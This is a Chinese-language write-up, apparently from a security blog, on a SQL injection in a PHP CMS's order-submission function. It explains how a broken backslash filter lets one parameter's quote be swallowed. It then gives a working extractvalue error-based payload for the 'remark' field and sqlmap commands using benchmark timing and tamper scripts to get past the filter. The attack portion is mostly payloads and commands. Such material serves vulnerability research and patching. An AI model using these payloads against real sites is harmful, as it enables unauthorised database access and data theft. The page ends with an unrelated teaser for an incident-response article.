*代码分析*:
首先来看F()方法,这是用来获取参数的
位于app/function.php文件
前面都是来获取参数值的
关键看后面这里有个enhtml()函数,对传入的数据进行过滤
跟进enhtml()函数,
先stripslashes()->filterExp()->htmlspecialchars()->str_replace()这几个函数的处理。
然后跟进filterExp()函数
注意 这个正则,是有问题的,这里要匹配反斜杠,要\这样写,不然是匹配不出来的(可以百度)。
过滤了sleep、update等关键字,可以用其他的替代。
所以这里可以利用:
找到两个参数可控的,用反斜杠吃掉第一个参数的反单引号,让第一个参数的正单引号和第二个参数的正单引号闭合,然后直接操作第二个参数即可。这样就可以不需要单引号进行注入了
漏洞点:apphomecontrollerother.php文件的order()方法
这里首先他判断了C('web_order_login')=1才需要登录,默认情况下,C('web_order_login')是等于0的
如果管理员设置了需要登录的话,注册个用户就好了,默认就是可以注册的
这个地方是商品的下单操作,下单时,必须得有商品,只要有商品,就能满足那个sql查询,成功进入到下单插数据库的操作
测试时,搭建这个cms是没有任何数据的,也不存在商品,所以是无法进入到这个触发注入的那块代码的(实际环境中,是肯定可以的)
复现:
所以先登后台,添加一个商品
来到前台找到该商品
点击我要订购,抓取数据包,这里先测试一下,用户名填test
成功,开始构造注入语句,用extractvalue报错注吧
其他参数正常随便传
address传:test
remark传:
,1 and extractvalue(1,concat(0x7e,(select
user()),0x7e)),1,1,1,1,1)#
可以看到这里成功带入到数据库里
language
insert into sd_order (`pro_name`,`pro_num`,`pro_price`,`orderid`,`truename`,`mobile`,`address`,`remark`,`ispay`,`isover`,`createdate`,`postip`,`userid`) values ('test','1','1','202005041735122','test','13111111111','test',',1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#','0','0','1588584912','10.0.0.0','1')
接下来直接用sqlmap跑
需要注意的事项:
1、将上面的payload里的and extractvalue(1,concat(0x7e,(select user()),0x7e))替换为*号放到sqlmap里-r跑
2、由于sleep这些被过滤了,我们这里用benchmark注入(也可以使用其他的),要使用--test-filter=benchmark参数
3、想跑出数据,但是要用到大于号小于号,而传入的参数都被htmlspecialchars了,所以使用sqlmap的tamper脚本between,greatest
greatest:大于号替换为greatest
between:用between替换<、>
sqlmap.py -r 4.txt --technique=T --test-filter=benchmark
sqlmap.py -r 4.txt --technique=T --test-filter=benchmark --current-user -v 3 --tamper=between,greatest
一次对某组织的应急响应 前言 前一阵子接到某平台被挂BC的求助,顺手帮他们看了下,没想到捡了几个过了市面上主流防护软件的马子,查了下资料,发现免杀的思路是真的骚 经过 首先观察下被挂BC的站点的环境和目前是什么状态 网站程序 phpcms9.4.2 部署环境 …
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论